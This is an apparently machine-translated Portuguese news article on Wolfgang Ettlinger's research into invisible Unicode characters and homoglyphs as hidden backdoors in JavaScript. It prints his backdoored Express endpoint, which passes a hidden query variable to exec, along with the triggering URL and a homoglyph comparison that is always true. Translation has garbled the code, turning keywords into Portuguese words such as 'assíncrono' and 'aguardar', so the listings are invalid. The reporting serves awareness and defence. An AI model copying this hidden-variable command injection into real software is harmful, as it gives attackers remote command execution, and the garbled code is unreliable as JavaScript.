*Esses caracteres invisíveis podem ser backdoors ocultos em seu código JS

Poderiam estar ocultos backdoors maliciosos no seu código, que de outra forma parecem perfeitamente limpos ao olho humano e aos editores de texto?

Um pesquisador de segurança lançou luz sobre como caracteres invisíveis podem ser inseridos no código JavaScript para introduzir riscos de segurança, como backdoors, em seu software.

Nem tudo é o que parece, em Unicode

No início deste mês, pesquisadores da Universidade de Cambridge revelaram um ataque inteligente apelidado de ' Fonte de Trojan ' para injetar vulnerabilidades no código-fonte, de forma que o código malicioso não possa ser facilmente detectado por revisores humanos.

O método funciona com algumas das linguagens de programação mais amplamente usadas hoje e os adversários podem usá-lo para ataques à cadeia de suprimentos.

O ataque de fonte de Trojan, no entanto, aproveita a ambigüidade introduzida por homóglifos e o mecanismo bidirecional Unicode (Bidi) - um recurso usado para acomodar conjuntos de caracteres da esquerda para a direita e da direita para a esquerda.

Esta semana, um pesquisador revelou como certos caracteres podem ser injetados no código JavaScript para introduzir backdoors invisíveis e vulnerabilidades de segurança.

O pesquisador de segurança  Wolfgang Ettlinger , que também é o Diretor da Certitude Consulting, supôs "e se uma porta dos fundos literalmente não puder ser vista e, portanto, evite ser detectada mesmo em análises completas de código?"

E com certeza, não demorou muito para Ettlinger apresentar um código de prova de conceito (PoC) mostrado abaixo. Você consegue identificar a porta dos fundos invisível?

const express = require ('express');
const util = require ('util');
const exec = util.promisify (require ('child_process'). exec);

const app = express ();

app.get ('/ network_health', assíncrono (req, res) => {
    const {tempo limite, ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/', ㅤ
    ];

    Experimente {
        aguardar Promise.all (checkCommands.map (cmd => cmd && exec (cmd, {tempo limite: + tempo limite || 5_000})));
        res.status (200);
        res.send ('ok');
    } catch (e) {
        res.status (500);
        res.send ('falhou');
    }
});

app.listen (8080);

"O script implementa um endpoint HTTP de verificação de integridade de rede muito simples que executa ping -c 1 google.com , bem como curl -s http://example.com e retorna se esses comandos foram executados com êxito. O tempo limite do parâmetro HTTP opcional limita o comando tempo de execução ", explica o pesquisador em sua postagem no blog .

Acontece que a porta dos fundos está nas seguintes linhas, onde reside o personagem invisível U + 3164, também conhecido como ' Hangul Filler '.

const {tempo limite, \ u3164 } = req.query;
...
'curl -s http://example.com/', \ u3164

Sendo uma "letra" Unicode, o Hangul Filler pode ser usado trivialmente como um nome de variável JavaScript.

Na verdade, isso altera a lógica e o fluxo de trabalho das duas linhas do que o que era anteriormente entendido.

“Uma  atribuição de desestruturação  é usada para desconstruir os parâmetros HTTP  req.query”, explica o pesquisador.

Anteriormente, parecia que o  parâmetro de tempo limite era o único parâmetro sendo descompactado do atributo req.query . Mas, na verdade, uma variável adicional denotada pelo personagem invisível também é recuperada.

“Se um parâmetro HTTP chamado [caractere invisível] é passado, ele é atribuído à variável invisível. Da mesma forma, quando o array checkCommands é construído, esta [variável invisível] é incluída no array,” continua Ettlinger.

Tudo isso significa que, supondo que o código JavaScript acima foi colocado em um servidor da web, acessível no  host: 8080 , um invasor pode entrar furtivamente em um parâmetro GET que representa a variável invisível, em sua forma codificada por URL, para executar código arbitrário:

http: // host: 8080 / network_health?% E3% 85% A4 =

"Cada elemento da matriz, os comandos codificados permanentemente, bem como os parâmetros fornecidos pelo usuário, são então passados ​​para a função exec . Esta função executa comandos do sistema operacional", afirma Ettlinger.

Outro exemplo interessante de PoC compartilhado por Ettlinger em seu relatório é uma declaração condicional, que aproveita os homóglifos:

if (ambienteǃ = ENV_PROD) {

Exceto, os caracteres ǃ = não são iguais ao operador "diferente de " com o qual estamos acostumados, porque 'ǃ' não é um ponto de exclamação, mas um caractere Unicode conhecido como  clique alveolar .

Mais uma vez, o resultado desta expressão será sempre 'verdadeiro' já que o ambiente  será definido igual a ENV_PROD, com o interpretador quase ignorando o 'ǃ'. 

"Existem muitos outros caracteres semelhantes aos usados ​​no código que podem ser usados ​​para tais propósitos (por exemplo,“ ／ ”,“ - ”,“ ＋ ”,“ ⩵ ”,“ ❨ ”,“ ⫽ ”,“ ꓿ ”,“ ∗ ”). O Unicode chama esses caracteres de ' confundíveis '", afirma Ettlinger.

A quilometragem do seu editor de texto pode variar

Dependendo do seu desenvolvimento, nem todos os editores de texto podem destacar os personagens misteriosos ou invisíveis.

O realce de sintaxe não é uma abordagem confiável, pois os caracteres invisíveis podem não ser mostrados, muito menos coloridos pelo editor de texto de um IDE.

"O ataque requer o IDE / editor de texto (e a fonte usada) para renderizar corretamente os caracteres invisíveis", explica Ettlinger.

"Pelo menos o Notepad ++ e o VS Code o renderizam corretamente (no VS Code o caractere invisível é um pouco mais largo do que os caracteres ASCII). O script se comporta conforme descrito pelo menos com o Nó 14."

No entanto, alguns IDEs parecem estar destacando claramente esses personagens invisíveis, incluindo  JetBrains WebStorm e PhpStorm, tornando esse ataque mais difícil de realizar:

 


Brincar com caracteres Unicode invisíveis também não é um conhecimento novo.

Anteriormente, um desenvolvedor do Rust tentou usar esses personagens para uma pegadinha, que falhou,  possivelmente  por causa das "defesas em nível de compilador do Rust contra esses ataques baseados em glifo".

No mês passado, a popular biblioteca Node.js 'ua-parser-js' foi sequestrada, com os agentes de ameaças injetando código em suas versões npm para instalar criptominadores e ladrões de senhas nas máquinas da vítima.

E na semana passada, lançamentos maliciosos de bibliotecas 'coa' e 'rc' sequestradas quebraram os pipelines React em todo o mundo, conforme relatado pela primeira vez por BleepingComputer.

Felizmente, esses ataques à cadeia de suprimentos foram detectados porque, apesar de conterem código ofuscado, ainda era possível para um revisor humano ou um bot detectar atividades maliciosas - especialmente porque compilações de software em todo o mundo começaram a falhar assim que as versões sequestradas desses pacotes atingiram o npm .

Da mesma forma, em abril deste ano,  'patches' enganosos  feitos pelos pesquisadores da Universidade de Minnesota que, por sua vez, introduziram vulnerabilidades foram eventualmente detectados pelos mantenedores do kernel do Linux.

Mas, o que acontece quando os agentes de ameaças conseguem ocultar backdoors em códigos quase benignos que não podem ser facilmente identificados?

"A equipe de Cambridge propõe restringir caracteres Bidi Unicode [como uma solução para a fonte de Trojan]. Como mostramos, ataques de homoglifos e caracteres invisíveis também podem representar uma ameaça", disse Ettlinger.

“Portanto, pode ser uma boa ideia proibir qualquer caractere não ASCII”, aconselha o pesquisador.

 

Achou esse artigo interessante? Siga canalfsociety em Instagram, Facebook, Telegram, Twitter, App Boletim Tec e App Mr Robot Sticker para ler mais conteúdo exclusivo que postamos.

Post a Comment

Postar um comentário